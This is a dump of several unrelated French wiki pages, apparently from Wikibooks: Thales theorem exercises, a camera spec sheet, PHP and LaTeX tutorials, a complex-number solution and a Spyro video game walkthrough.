\frac{21}{4}</math> }} *'''Exercice 5''' [[Image:Thales5(E-M).png|right|250px]] :Dans la figure jointe, (<math>C_1</math>) et (<math>C_2</math>) sont deux cercles de centres <math>O_1</math> et <math>O_2</math> de rayons <math>r_1 = 2</math> et <math>r_2 = 5</math> et tangents extérieurement en A. La droite (''d'') est une tangente commune aux deux cercles, elle touche (<math>C_1</math>) en <math>T_1</math> et (<math>C_2</math>) en <math>T_2</math>. Les droites (<math>T_1T_2</math>) et (<math>O_1O_2</math>) se rencontrent en ''M''. :: 1. Montrer que les droites (<math>O_1T_1</math>) et (<math>O_2T_2</math>) sont parallèles. :: 2. Calculer <math>O_1M</math>. {{boîte déroulante|titre=Solution|contenu = :1. : Une tangente en A à un cercle de centre O est toujours perpendiculaire au rayon [OA]. Ici la tangente commune est donc perpendiculaire au rayon [<math>O_1T_1</math>] et au rayon [<math>O_2T_2</math>]. Les droites (<math>O_1T_1</math>) et (<math>O_2T_2</math>) sont donc perpendiculaires à une même droite, elles sont donc parallèles. :2. : Les points ''M'', <math>T_1</math>, <math>T_2</math> sont alignés. Les points ''M'', <math>O_1</math>, <math>O_2</math> sont alignés. Les droites (<math>O_1T_1</math>) et (<math>O_2T_2</math>) sont parallèles. On peut appliquer le théorème de Thalès dans les triangles <math>MO_1T_1</math> et <math>MO_2T_2</math>. ::<math>\frac{MO_1}{MO_2} = \frac{MT_1}{MT_2}=\frac{O_1T_1}{O_2T_2}</math> :Malheureusement, ici, on ne connaît que les grandeurs <math>O_1T_1 = 2</math> et <math>O_2T_2 = 5</math>. On pose donc <math>MO_1 = x</math>. Il vient alors <math>MO_2 = x + 7</math>. On peut alors remplacer ::<math>\frac{x}{x+7}=\frac{2}{5}</math> : Que l'on résout par produit en croix : :: <math>5x = 2x + 14</math> :: <math>3x = 14</math> :: <math>x = \frac{14}{3}</math> : donc <math>MO_1 = 14/3</math> }} *'''Exercice 6''' (recherche) : On considère un parallélogramme (''ABCD''). Soit ''R'' un point de la diagonale [''AC'']. La parallèle à (''AB'') menée par ''R'' rencontre (''AD'') en ''M'' et (''BC'') en ''P''. La parallèle à (''AD'') menée par ''R'' rencontre (''AB'') en ''N'' et (''CD'') en ''Q''. :: Montrer que (''MN'') // (''BD'') //(''PQ''). :: Le quadrilatère (''MNPQ'') est-il un trapèze ? un parallélogramme ? {{boîte déroulante|titre=Solution|contenu = [[Image:thales6(E-M).png|right|250 px]] :1.a. : Les points ''Q'', ''R'', ''N'' sont alignés dans cet ordre. Les points ''P'', ''R'', ''M'' sont alignés dans cet ordre. Les droites (''MN'') et (''PQ'') sont parallèles si et seulement si :: <math>\frac{RM}{RP}=\frac{RN}{RQ}</math> :Or les triangles ''RAM'' et ''RCP'' sont en situation de Thalès. En effet, les points ''A'', ''R'' et ''C'' sont alignés, les points ''M'', ''R'' et ''P'' sont alignés et les droites (''AM'') et (''CP'') sont parallèles donc : :: <math>\frac{RM}{RP}=\frac{RA}{RC}</math> :De même les triangles ''RAN'' et ''RCQ'' sont en situation de Thalès. En effet, les points ''A'', ''R'' et ''C'' sont alignés, les points ''N'', ''R'' et ''Q'' sont alignés et les droites (''AN'') et (''CQ'') sont parallèles donc : :: <math>\frac{RA}{RC}=\frac{RN}{RQ}</math> : par transitivité, on peut écrire que :: <math>\frac{RM}{RP}=\frac{RN}{RQ}</math> : Ce qui prouve que les droites (<math>MN</math>) et (''PQ'') sont parallèles. :1.b. : Les points ''A'', ''N'', ''B'' sont alignés dans cet ordre. Les points ''A'', ''M'', ''D'' sont alignés dans cet ordre. Les droites (''MN'') et (''BD'') sont parallèles si et seulement si :: <math>\frac{AN}{AB}=\frac{AM}{AD}</math> :Or les triangles ''ANR'' et ''ABC'' sont en situation de Thalès. En effet, les points ''A'', ''N'' et ''B'' sont alignés, les points ''A'', ''R'' et ''C'' sont alignés et les droites (''NR'') et (''BC'') sont parallèles donc : :: <math>\frac{AN}{AB}=\frac{AR}{AC}</math> :De même les triangles ''ARM'' et ''ACD'' sont en situation de Thalès. En effet, les points ''A'', ''R'' et ''C'' sont alignés, les points ''A'', ''M'' et ''D'' sont alignés et les droites (''RM'') et (''CD'') sont parallèles donc : :: <math>\frac{AR}{AC}=\frac{AM}{AD}</math> : par transitivité, on peut écrire que :: <math>\frac{AN}{AB}=\frac{AM}{AD}</math> : Ce qui prouve que les droites (''MN'') et (''BD'') sont parallèles. :2. : Puisque les droites (''MN'') et (''PQ'') sont parallèles, le quadrilatère (''MNPQ'') est un trapèze. : Si (''MNPQ'') était un parallélogramme, alors ses diagonales se couperaient en leur milieu. Le point ''R'' serait alors le milieu de [''MR'']. On aurait alors ''RM = RP''. En remplaçant dans le rapport : ::<math> \frac{RM}{RP}=\frac{RA}{RC}</math> : on obtiendrait :: <math>1 =\frac{RA}{RC}</math> : Ce qui signifierait que ''R'' serait le milieu de [''AC''] : Donc,''' si R n'est pas au milieu de [AC]''', le quadrilatère '''n'est pas un parallèlogramme''' : '''Si R est milieu de [AC]''', ::l'égalité :: <math>\frac{RM}{RP}=\frac{RA}{RC}</math> :: montre que <math>\frac{RM}{RP}=1</math> donc que ''R'' est milieu de [''MP''] ::l'égalité :: <math>\frac{RM}{RP}=\frac{RN}{RQ}</math> :: montre alors que que <math>\frac{RN}{RQ}=1</math> donc que ''R'' est milieu de [''NQ'']. ::Les diagonales se coupent bien en leur milieu et '''le quadrilatère MNPQ est un parallélogramme.''' }} *''' Exercice 7'''(recherche) : Si (''ABC'') est un triangle, peut-on augmenter les longueurs ''AB'' et ''AC'' d'une unité et construire ainsi un triangle ''(AB'C')'' en situation de Thalès avec le triangle (''ABC'') ? {{boîte déroulante|titre=Solution|contenu = : On va noter ''AB = b'' et ''AC = c''. :Les points ''A'', ''B'', ''B’'' sont alignés dans cet ordre. les points ''ACC’'' sont alignés dans cet ordre. Les droites (''BC'') et (''B’C’'') sont parallèles si et seulement si ::<math>\frac{AB}{AB'}=\frac{AC}{AC'}</math> : En remplaçant par les expressions littérales, les droites (''BC'') et (''B’C’'') sont parallèles si et seulement si ::<math>\frac{b}{b+1}=\frac{c}{c+1}</math> : En effectuant le produit en croix, les droites (''BC'') et (''B’C’'') sont parallèles si et seulement si :: ''b(c + 1) = c(b + 1)'' : En développant et en simplifiant par ''bc'', les droites (''BC'') et (''B’C’'') sont parallèles si et seulement si :: ''b = c'' : donc les droites (''BC'') et (''B’C’'') sont parallèles si et seulement si le triangle ''ABC'' est isocèle de sommet ''A'' }} [[Catégorie:Exercices de mathématiques]] Image:Align.png 6342 27850 2005-12-29T12:26:52Z Trotinette 954 Alignement sur la virgule. Alignement sur la virgule. Modèle:Clic 6344 28154 2006-01-03T13:59:14Z 81.250.110.27 <includeonly><div style="position:relative;width:{{{largeur}}};height:{{{hauteur}}};z-index:2;overflow:hidden;">[[Image:{{{image}}}|{{{largeur}}}]]<div class="nodeco" style="position:absolute;top:0;left:0;z-index:3;">[[{{{lien}}}|<span style="float:left;width:{{{largeur}}};height:{{{hauteur}}};font-size:{{{hauteur}}};line-height:{{{hauteur}}};word-spacing:{{{largeur}}};cursor:hand;">&nbsp; &nbsp;</span>]]</div></div></includeonly><noinclude> Ce modèle permet le clic sur une image au lieu de voir sa description. ;Exemple de syntaxe : <code><nowiki>{{Clic|image=Wikibooks-logo.svg|largeur=50px|hauteur=67px|lien=b:Accueil}}</nowiki></code> ;Aperçu : {{clic|image=Wikibooks-logo.svg|largeur=300px|hauteur=300px|lien=b:Accueil}} </noinclude> Photographie - 40 - Hasselblad 6349 27899 2005-12-29T23:07:53Z Jean-Jacques MILAN 114 {{Photographie}} == Appareils réflex 6 x6 mono-objectif == === 500 EL (vers 1968) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Hasselblad 500 EL.jpg|180px|center]] Hasselblad 500 EL avec magasin de 72 vues pour film 70 mm |'''Caractéristiques :''' ''Type d'appareil :'' réflex mono-objectif à moteur <br> ''Format de film :'' magasins interchangeables pour bobines 120, 220 et 70 mm, adaptateur pour plan-films <br> ''Objectifs :'' interchangeables Carl Zeiss : Distagon 4-32/40 mm à 10 lentilles, Distagon 4-22 /50 mm à 7 lentilles, Planar 2,8-22/50 mm à 7 lentilles, PLANAR 5,6-32/120 mm à 6 lentilles, Sonnar 4-32/150 mm à 5 lentilles, Sonnar 5,6-45/250 mm à lentilles, Télé-Tessar 8-64/500 mm à 5 lentilles <br> ''Monture des objectifs :'' à baïonnette <br> ''Présélection du diaphragme :'' oui, débrayable pour le contrôle de la profondeur de champ <br> ''Viseur :'' réflex à miroir à retour automatique, capuchon de visée interchangeable avec d'autres viseurs (capuchon avec loupe réglable de +3 à -4 dipotries, prosmes HC-1 et NC-2, lentille de Fresnel, viseur sportif <br> ''Informations dans le viseur :'' <br> ''Mise au point :'' manuelle <br> ''Obturateur :'' Synchro Compur incorporé à chaque objectif, vitesses de 1 s à 1/500e s, poses B et T <br> ''Prise de flash :'' X et M <br> ''Déclencheur :'' manuel ou automatique, minuterie prévue pour des intervalles allant de 2 s à 60 h (alimentation secteur), câbles de déclenchement de 30 cm à 30 m, et jusqu'à 210 m avec un amplificateur spécial, déclenchement possible par radio <br> ''Retardateur :'' incorporé aux objectifs <br> ''Avance du film :'' par moteur électrique alimenté par des batteries au CdNi (autonomie de l'ordre de 1000 vues), recharge sur secteur ou par piles <br> ''Compteur de vues :'' sur chaque magasin <br> ''Alimentation :'' accus CdNi <br> ''Dimensions :'' <br> ''Poids :'' (boîtier seul, sans pile) <br> ''Accessoires :'' bagues-allonges, soufflet, adaptateur de reproduction, lentilles additionnelles, filtres, flash annulaire, raccord microscope, bouton posemètre, poignées et supports pour flash et réflecteur, boîtier sous-marin |- |} Programmation PHP/Structures de contrôle 6351 43083 2006-05-24T07:48:26Z 192.134.140.250 /* Imbrication */ remplacement toute par tous (tous les cas) {{Programmation PHP}} Une structure conditionnel fonctionne de manière à ce que si la valeur de la condition est <code>TRUE</code> alors tel schéma est appliqué, et si la valeur est <code>FALSE</code>, un autre schéma est réalisé. ==Les structures conditionnelles== ===if - else=== La structure la plus simple se présente sous la forme d'un <code>if() {}</code> et d'un <code>else {}</code>. Le <code>if</code> teste une condition : *Si elle est réalisée le code entre les accolades après le if sera exécuté, puis le serveur passera au code après le <code>else {}</code> *Si elle n'est pas réalisée c'est ce qui entre les accolades suivants le <code>else</code> qui sera exécuté. <pre> <?php if (condition) { instruction au cas où la condition serait réalisée; } else { instruction au cas où la condition ne serait pas réalisée; } ?> </pre> ====Emploi de if seul==== Un <code>if</code> peut être employé seul, en fait le <code>else</code> étant l'alternative, le code à executer par défault, on peut s'en passer pour n'exécuter un code seulement si une condition est réalisée. <pre> <?php if (condition) { condition réalisée; //sinon il ne se passe rien } //sinon il ne se passe rien ?> </pre> ====Emploi de elseif==== Lorsqu'une condition n'est pas réalisée, plutôt que de passer directement à l'execution du code par défault (déclaré par <code>else</code>), il peut être plus judicieux de tester une autre condition (déclarée par <code>elseif</code>). En clair la structure est similaire à un ordre de préférence : {|align="center" rules="all" cellspacing="0" cellpadding="4" style="border: 1px solid #999; border-right: 2px solid #999; border-bottom: 2px solid #999; background: #ccccff" |+Emploi de <code>elseif</code> |-style="background: #9999ff" !align="center" | Symboliquement !!align="center" | Traduction en code |- |<pre> Sois une condition 1 La condition 1 est elle réalisée ? OUI code 1 (puis sortie de la strcture hypothétique) NON la condition 2 est elle réalisée ? OUI code 2 (puis sortie de la strcture hypothétique) NON la condition 3 est elle réalisée ? OUI code 3 (puis sortie de la strcture hypothétique) NON ... (aucune des conditions annexes n'ont été vérifiées) Par défaut executons le code default </pre> || <pre> <?php condition 1 if(condition 1) { code 1; } elseif(condition 2) { code 2; } elseif(condition 3) { code 3; } ... else { code default } ?> </pre> |} ====Imbrication==== On peut imbriquer les <code>if</code> les uns dans les autres. Simplement lorqu'un <code>if</code> imbriqué aura fini d'être exécuté, il retournera à l'étape logique suivante du rang hiérarchique supérieur. <pre> <?php if() { if() { } elseif() { } else { } } elseif() {} else {} ?> </pre> Notons que dans ce cas mieux vaut imaginer tous les cas de figure pour ne pas se retrouver avec une structure hypothétique vacillante en ce que la situation n'aura pas été prévue. ===switch=== Lorsque l'on teste des conditions en nombre important sur une même valeur, l'utilisation de <code>if</code> est fastidieuse. Existe bienheureusement une structure créée pour cet usage le <code>switch</code>. On déclare la variable à tester avec <code>switch</code> : <code>switch($surlasellette) {}</code>. Dans ce <code>switch</code> on utilise <code>case</code> pour déclarer la valeur de la variable pour laquelle une action est envisagée : <code>case "valeur" :</code> (ici ne pas oublier les deux points !) une suite d'instruction s'ensuit et est clôturée '''obligatoirement''' par <code>break;</code>. La valeur par défault, corollaire du <code>else</code> pour <code>if</code>, est introduite par <code>default :</code>. {|align="center" rules="all" cellspacing="0" cellpadding="4" style="border: 1px solid #999; border-right: 2px solid #999; border-bottom: 2px solid #999; background: #ccccff" |+Intéret et emploi de <code>switch</code> |-style="background: #9999ff" !align="center" | Avec if !!align="center" | Traduction en switch |- |<pre> <?php $valeur = "testable"; if($valeur == "ce n'est pas cela") {echo "ok";} elseif($valeur == "ce n'est pas non plus cela") {echo "ok";} elseif($valeur == "c'est encore moins cela") {echo "ok";} else {echo "pas d'accord";} ?> </pre> || <pre> <?php switch (variable) { case valeur_1 : instruction(s); break; case valeur_2 : instruction(s); break; ... default : instruction(s); } </pre> |} <code>switch</code> s'imbrique aussi comme <code>if</code>. Le plus important étant de <span style="color:#FF0000;">ne pas oublier de mettre l'instruction <code>break</code> avant un nouveau <code>case</code></span>. ==Les boucles== Une boucle est une instrcution qui exécute un code tant qu'une condition établie est vérifiée. Une erreur (jugulée par le temps maximal de génération d'une page fixé par défault à 15 secondes) peut résider dans la présence d'une ''Boucle infinie'', dont la condition est toujours respectée en fait. Les boucles permettent le parcours des tableaux et d'utiliser des données rendues sous la forme de tableau par une fonction de php dialoguant par exemple avec un autre langage. Il en existe de 3 types : *<code>while() { }</code> *<code>for() {}</code> *<code>foreach() {}</code> ===while=== <code>while</code> signifie "tant que", ainsi <code>while</code> fonctionne comme un <code>if</code> répété tant que la condition est vraie. Pour résumer while est très proche de <code>if</code> dans son utilisation. <pre> <?php while (expression) { instructions(s); } ?> </pre> ===for=== </code>for</code> signifie "pour", donc comme son nom l'indique, utilise des éléments précisés (entre les parenthèses le suivant) pour fonctionner. :<code>for ( premier élément ; deuxième élément ; troisième élément )</code> :<code>{instruction;}</code> Ces éléments sont au nombre de trois : *Le premier est éxecuté au début de la boucle dans tous les cas. *Le second est testé avant chaque execution de l'instruction ou itération, si il renvoit <code>TRUE</code> l'instruction sera executée, si <code>FALSE</code> est renvoyé on sort de la boucle. *La dernière expression est executée après chaque itération. <pre> <?php for(première expression; seconde expression; troisième expression) { instruction; } ?> </pre> Attention la structure dans la parenthèse est <code>for(<span style="color:#FF0000; font-weight:bold;"> ; ; </span>)</code> ===foreach=== Les boucles <code>foreach</code> constituent une manière simple de parcourir des tableaux. Il existe 2 syntaxes : *La plus simple ne s'interessant pas aux clés caractéristiques des tableaux associatifs. ::On ne parle pas en terme de nombre mais de chaine de caractère du même type que celui dont on se sert pour nommer une variable (sans le $) dans les tableaux associatifs : <code>$array['texte']</code> et non plus seulement <code>$array[999]</code>. Foreach simplifie une tache qui aurait certes été possible avec <code>for</code>, mais fastidieuse : {|align="center" rules="all" cellspacing="0" cellpadding="4" style="border: 1px solid #999; border-right: 2px solid #999; border-bottom: 2px solid #999; background: #ccccff" |+Intéret de <code>foreach</code> |-style="background: #9999ff" !align="center" | Avec for !!align="center" | Avec foreach |- |<pre> <?php $array = array('valeur1', 'valeur2', 'valeur3'); for($i = 0; $i < $count($array); $i++) { echo $array[$i]; //renvoit "valeur1valeur2valeur3" } ?> </pre> || <pre> <?php $array = array('valeur1', 'valeur2', 'valeur3'); foreach($array as $value) { echo $value; //renvoit "valeur1valeur2valeur3" } ?> </pre> |} <code>as</code> signifiant "comme", on récupère une variable contenant la valeur dans la cellule correspondante. * La seconde se penche davantage sur les tableaux associatifs du type <pre> <?php $array = array( "ville" => "Montargis", "température" => "15 degrés" ); ?> </pre> Ainsi on récupère le nom de la clé et la valeur du champ. En fait la structure <code>$cle => $valeur</code> est celle de la déclaration de l'array . <pre> <?php foreach(array as $cle => $valeur) {<br> commandes; } ?> </pre> Il est possible d'itérer des objets depuis PHP 5. Programmation LaTeX Éléments flottants et figures 6352 43328 2006-05-28T10:58:13Z 84.4.48.73 /* Les figures */ {{LaTeX-nav}} Dans le [[Programmation LaTeX Images|précédent chapitre]], l'importation des images a été abordée. Cependant, avoir juste une image coincée entre des paragraphes ne semble pas très professionnel. Pour les novices, nous voulons une manière d'ajouter des légendes, et pouvoir établir des références croisées. Ce dont nous avons besoin est une manière de définir des ''figures''. Il serait également agréable si Latex pourrait appliquer des principes semblables à ceux utilisés quand il traite le texte, à l'arrangement des images, afin que tout paraisse au mieux. C'est ici que les éléments ''flottants'' rentent en jeu. === Les flottants === Les éléments flottants se rapportent à tout ce qui dans un document ne peut pas être cassé dans une page. Ils se ramènent fondamentalement aux tables et aux figures. Ils exigent un traitement particulier, et le concept de ''flottant'' était la solution pour traiter de tels éléments, tout en maintenant la présentation de document aussi « belle » que possible. Le problème le plus courant est la manifestation d'un manque de place sur le reste d'une page donnée pour placer une figure particulière. Pour surmonter cela, Latex fera nager celle-ci jusqu'à la page suivante, tout en remplissant la page courante avec le corps du texte. Comparez cela avec ce qui se produit sous ''MS Word'', par exemple. Si une image est ajoutée mais n'est trop grande pour s'adapter à la page courante, il la placera sur la prochaine page, mais laissera un grand espace, au lieu de réarranger le texte aux alentours pour remplir l'espace. Cela exige beaucoup de manipulations délicates pour rectifier, alors que Latex prend en charge tout ceci automatiquement. === Les figures === Pour créer une figure, vous devez employer l'environnement ''figure'' (La Palice). <span class="command">\begin{figure}[''prescripteur de placement'']<br /> ... ''corps de la figure'' ... <br /> \end{figure}</span> Dans la section précédente, j'expliquais comment des éléments flottants pouvaient être utilisés pour permettre au Latex de manipuler des figures, tout en maintenant la meilleure présentation. Cependant, il se peut que vous soyez en désaccord avec par exemple le positionnement des figures. Dans ce cas, il existe un paramètre du prescripteur de placement, qui vous donne un plus grand degré de contrôle de placement des éléments flottants. {| ! Prescripteur ! Permission |- | <tt>h</tt> | Place le flottant ''ici'', c'est-à-dire à l'endroit auquel il apparaît dans le texte source. |- | <tt>t</tt> | Position en ''haut'' de la page. |- | <tt>b</tt> | Position en ''bas'' de la page. |- | <tt>p</tt> | Place sur une ''page'' particulière réservée aux flottants. |- | <tt>!</tt> | Passe outre les paramètres internes que Latex utilise pour déterminer une position optimale des flottants. |} Les ''permissions de placement'' vous permettent d'indiquer les options que vous souhaitez rendre disponibles au Latex. Ce sont simplement des possibilités, et Latex décidera quand il composera votre document lequel de vos prescripteurs fournis sera le meilleur. Dans le cas ou vous avez beaucoup de flottants pour peu de texte et que LaTeX éloigne les flottants de leur contexte, la commande <tt>\FloatBarrier</tt> permet de vider le tampon de flottants actuellement stockés, et donc de positionner tous les flottants déjà déclarés avant de poursuivre le document. === Tableaux === Bien que les tableaux aient été déjà abordés, nous n'avions discuté que de la syntaxe interne. L'environnement <tt>tabular</tt> qui a été employé pour construire les tableaux n'est pas un élément flottant par défaut. Par conséquent, si vous souhaitez laisser flotter des tableaux vous devez envelopper l'environnement <tt>tabular</tt> avec un environnement <tt>table</tt>, comme ceci: \begin{table} \begin{tabular}{...} ... données du tableau ... \end{tabular} \end{table} Vous avez peut-être l'impression que tout cela est un peu trop enveloppé, mais de telles distinctions sont nécessaires, parce que vous ne voulez pas forcément que tous les tableaux soient traités comme des flotteurs. === Les légendes === C'est toujours une habitude d'ajouter une légende à n'importe quelle figure ou tableau. Heureusement, c'est très simple avec Latex. Tout ce que vous avez besoin de faire est d'employer la commande <tt>\caption{''texte''}</tt> dans l'environnement de l'élément flottant. En raison de la façon dont Latex travaille avec les structures logiques, il maintiendra automatiquement la numérotation des figures, ainsi vous n'avez nul besoin de l'inclure dans le texte de la légende. La position de la légende est traditionnellement sous l'élément flottant. Cependant, il vous appartient d'insérer la commande de légende après le contenu même du flotteur (mais toujours dans l'environnement). Si vous le placez avant, alors la légende apparaîtra au-dessus du flotteur. Essayez l'exemple suivant pour montrer cet effet (voyez [tutorial6/legende.tex legende.tex] et [tutorial6/legende.pdf legende.pdf]) \begin{figure} \caption{Un image d'un toucan.} \centering \includegraphics{toucan.eps} \end{figure} \begin{figure} \centering \reflectbox{\includegraphics{toucan.eps}} \caption{Une image du même toucan regardant de l'autre côté!} \end{figure} === Les étiquettes et les références croisées === C'est une bonne occasion d'introduire les ''étiquettes''. Leur utilité en Latex est d'agir comme un marqueur qui peut être référencé à n'importe quel endroit de votre document. Il est très fréquent de devoir se rapporter à chacune des figures, dans le corps du texte. Cependant, vous n'aimeriez pas garder en mémoire leur numéro, ainsi vous pouvez employer une étiquette à la place, et laissez Latex la remplacer automatiquement par le numéro correct de la figure. Pour ajouter une étiquette, vous devez inclure la commande suivante: <tt>\label{</tt>''marqueur''<tt>}</tt>. Pour ensuite référencer une étiquette : <tt>\ref{</tt>''marqueur''<tt>}</tt>. Une autre solution serait d'utiliser une référence de page: <tt>\pageref{</tt>''marqueur''<tt>}</tt>. \begin{figure} \centering \reflectbox{\includegraphics{toucan.eps}} \caption{Une image du même toucan regardant dans l'autre sens!} \label{toucan} \end{figure} La figure~\ref{toucan} montre une photographie de toucan. Quand une étiquette est déclarée dans un environnement flottant, la commande <tt>\ref</tt> renvoie le numéro de figure/tableau correspondant (bien que, celui-ci puisse apparaître après la légende). Quand celle-ci est déclarée en dehors, la commande renvoie le numéro de section. Le tilde (~) dans l'exemple ci-dessus est un symbole spécial en Latex. Il représente un espace insécable. Il est utile ici parce qu'il garde « figure » et le numéro quel qu'il soit auquel \ref se rapporte comme un tout, et ne les coupera pas sur une ligne ou une page lors de la production du document. === Enveloppement des figures === Bien que ce ne soit pas normalement utile dans le cadre de l'écriture d'un ouvrage scolaire, un auteur pourrait préférer que certains éléments flottants ne brisent pas le déroulement du texte, mais qu'au lieu de cela, permettent au texte de s'enrouler autour de ceux-ci. (Évidemment, cet effet semble réalisable uniquement lorsque la figure en question est sensiblement plus étroite que la largeur du texte.) Le paquet <tt>wrapfig</tt> a été conçu pour effectuer cette tâche. Pour employer <tt>wrapfig</tt>, vous devez d'abord ajouter <tt>\usepackage{wrapfig}</tt> au préambule. Ceci vous donne alors accès à la commande <tt>\begin{wrapfigure}{</tt>''alignement''<tt>}{</tt>''largeur''<tt>}</tt>. ''alignement'' peut être soit ''l'' pour la gauche, ou ''r'' pour la droite. La ''largeur'' est évidemment la largeur de la figure. Un exemple: \begin{wrapfigure}{r}{40mm} \centering \includegraphics{toucan.eps} \caption{Le toucan} \end{wrapfigure} [[Image:enveloppement.png]] Notez que l'environnement ''wrapfigure'' est en fait un élément non flottant. Cela signifie qu'il peut vous demander un certain soin afin que votre figure insérée ne passe pas au delà des coupures de page. === Sous-figures === Une extension utile est le paquet <tt>subfigure</tt>. Assurez vous que vous en avez une version récente (supérieure à 2.1.4). Ce paquet donne au rédacteur la possibilité d'insérer des figures dans des figures. Les sous-figures ont leur propre légende, disposent aussi d'une légende globale facultative. Voici un exemple qui en illustre l'utilisation. \begin{figure}[htp] \centering \subfigure[Image d'origine]{\label{fig:edge-a}\includegraphics[scale=0.75]{toucan.eps}} \subfigure[Après une détection des contours de Laplace]{\label{fig:contour-b}\includegraphics[scale=0.75]{laplace_toucan.eps}} \\ \subfigure[Après une détection des contours de Sobel]{\label{fig:contour-c}\includegraphics[scale=0.75]{sobel_toucan.eps}} \caption{Différents algorithmes de détection des contours} \label{fig:contour} \end{figure} [[Image:sous-figure.png]] Image:Virus informatique simple.png 6355 27970 2005-12-30T19:21:57Z Greudin 1 Virus_informatique_simple (la version SVG sera sur Commons) CC-BY-SA Virus_informatique_simple (la version SVG sera sur Commons) CC-BY-SA Image:Virus informatique-alpha.png 6356 27974 2005-12-30T19:25:39Z Greudin 1 Virus_informatique_simple (la version SVG sera sur Commons) CC-BY-SA Virus_informatique_simple (la version SVG sera sur Commons) CC-BY-SA HSE Complex number solutions 6357 27988 2005-12-30T22:48:17Z 87.89.201.223 Il suffit de constater sur la liste précédente qu'il y a une périodicité d'ordre 4 dans les puissances de <math>i</math> (en fait, cela est dû à ce que <math>i</math> est [[racine de l'unité|racine primitive quatrième de l'unité]]). Or tout entier naturel <math>n</math> se décompose d'exactement une manière en l'une des quatre formes : <math>4\,k,\, 4\,k +1,\, 4\,k+2</math> ou <math>4\,k+3</math>, avec <math>k\in\mathbb N</math>. Dans ces conditions, on a : <math>\forall k\in\mathbb N,\,i^{4\,k}=1,\;i^{4\,k+1}=i,\;i^{4\,k+2}=-1,\;i^{4\,k+3}=-i</math>. Pour <math>i^{25}</math>, on cherche à décomposer 25 sous cette forme, il vient <math>25=4*6+1</math>, d'où <math>k=1</math>, et <math>i^{25}=i</math>.<br>Pour <math>i^{100}</math>, il vient <math>100=4*25+0</math>, d'où <math>k=0</math>, et <math>i^{100}=1</math>.<br>Pour <math>i^{1000}</math>, il vient <math>1000=4*250+0</math>, d'où <math>k=0</math>, et <math>i^{1000}=1</math>. Wikiversité:Faculté de Physique 6359 27995 2005-12-31T14:35:29Z 82.246.52.146 == Cours == [[Cours de premier cycle universitaire (L1-L2)]] [[Cours de second cycle universitaire (L3-M1)]] [[Cours de troisième cycle universitaire (M2-...)]] MediaWiki:Imagelistforuser 6361 sysop 28016 2006-01-01T12:40:36Z MediaWiki default This shows only images uploaded by $1. MediaWiki:Istemplate 6362 sysop 28017 2006-01-01T12:40:36Z MediaWiki default inclusion Spyro: Year of the Dragon 6364 28026 2006-01-01T13:27:36Z 86.200.52.194 ébauche {{ébauche}} Le manuel suivant est destiné à aider à jouer au [[jeu vidéo]] ''[[w:Spyro: Year of the Dragon|Spyro: Year of the Dragon]]'' ==Sommaire== *[[Spyro:Year of the Dragon/Maniement des personnages|Maniement des personnages]] *[[Spyro:Year of the Dragon/Progression niveau par niveau|Progression niveau par niveau]] (peut contenir des [[w:spoiler|spoilers]]) *[[Spyro:Year of the Dragon/Conseils et astuces|Conseils et astuces]] (peut contenir des [[w:spoiler|spoilers]]) [[Catégorie:Jeu vidéo]] Spyro:Year of the Dragon/Maniement des personnages 6365 28030 2006-01-01T13:28:08Z 86.200.52.194 /* Maniement de Sparx */ ==Maniement de Spyro== Spyro possède dès le début du jeu plusieurs capacités, toutes importantes. *Cracher des flammes : lors de l'appui sur la touche rond (O), Spyro crache des flammes sur environ une fois sa largeur. Si elles touchent un ennemi sans armure, elle le vaincra. Il n'est pas possible de cracher des flammes en continu, mais il est possible de se déplacer pendant le court temps où il y a des flammes, et donc de toucher plusieurs ennemis. *Charger : lors de l'appui sur la touche carré, Spyro se met à charger. Il est alors plus difficile à contrôler, en partie parce qu'il est plus rapide, mais également parce qu'il ne tourne moins rapidement. Il vaut parfois mieux ne charger que quelques secondes, une fois situé juste en face de l'ennemi, pour être sûr de le toucher. Mais cette technique implique aussi un risque : si le mouvement n'est pas assez rapide, l'ennemi peut toucher également. *Sauter : lors de l'appui sur la touche croix (X), Spyro fait un petit saut (d'environ deux fois sa taille) qui lui permet de sauter sur une plate-forme plus en hauteur. Il est important de noter qu'il est possible de faire un saut lors d'une charge ou de cracher du feu lors d'un saut : cela permet de toucher certains ennemis en hauteur. *Planer : lors de l'appui sur la touche croix (X) lors d'un saut, Spyro commence à planer, ce qui lui permet d'accéder à une plate-forme éloignée. *Papillonner : lors de l'appui sur la touche triangle lors qu'il plane, Spyro papillonne, c'est-à-dire qu'il arrête son saut, mais aussi qu'il gagne également une petite hauteur. Il est généralement possible d'accéder à une autre plate-forme sans papillonner, mais papillonner est utile pour rattraper un vol qui a échoué. ==Maniement de Sheila== Le maniement de Sheila est centré sur sa capacité à sauter. Elle possède ainsi deux sauts : *le saut simple (croix) *le double saut (croix puis à nouveau croix au sommet du saut) Elle peut attaquer les ennemis en donner un coup de pied en avant, indifférement avec la touche carré ou rond. Un saut suivi d'un appui sur triangle permet de réaliser un attaque d'en haut, nécessaire pour détruire certains objets. ==Maniement du Sgt Byrd == ==Maniement de Bentley == ==Maniement de l'Agent 9== ==Maniement de Sparx== [[Spyro: Year of the Dragon|Retour au sommaire]] [[Catégorie:jeu vidéo]] Spyro:Year of the Dragon/Progression niveau par niveau 6366 28031 2006-01-01T13:28:13Z 86.200.52.194 /* Les Grandes Illusions */ Les premiers niveaux du jeu sont l'occasion d'apprendre à maîtriser les différentes techniques. ===Soleil levant printanier=== ====Villa ensoleillée==== Ce niveau est conçu comme initiation, la plupart des ennemis n'ont même pas d'attaques. *Mission principale : sauver le [[maire]] Léo. *Obtenir les oeufs : **Oeuf sur un escalier : juste avant que Zoé ne vous parle de la caméra, un oeuf est posé sur un escalier à droite. **Skate : Après le maire Léo, un escalier permet d'accéder à une zone. A l'intérieur de celle-ci, il faut parler à Chasseur pour qu'il vous fasse commencer votre mission de skate. Lors de la première mission, vous devez trouver et éliminer quinze lézards. Ils disparaissent si vous approchez d'eux en n'étant pas sur la planche à roulette. **Sheila : Une fois obtenu Sheila, il est possible d'accéder à une zone correspondante. Il faut monter les escaliers où il y avait un oeuf, puis voler en face. Il faut ensuite revoler en face vers l'intérieur d'un bâtiment, dans lequel vous trouverez un tourbillon qui vous permettra de vous élevez dans les airs. Marchez ensuite sur la gauche jusqu'à apercevoir la plateforme où se trouve la maison de Sheila. Volez vers elle et entrez-y. Executez ensuite la mission conformément à la demande de Marco. **Sheila : Une oeuf est dissimulé lors de la mission de Sheila. *Point d'aptitude : brûlez toutes les plantes. ====Cimes ennuagées==== *Mission principale : faire réapparaître l'arc-en-ciel en réactivant les soufflets *Obtenir les oeufs 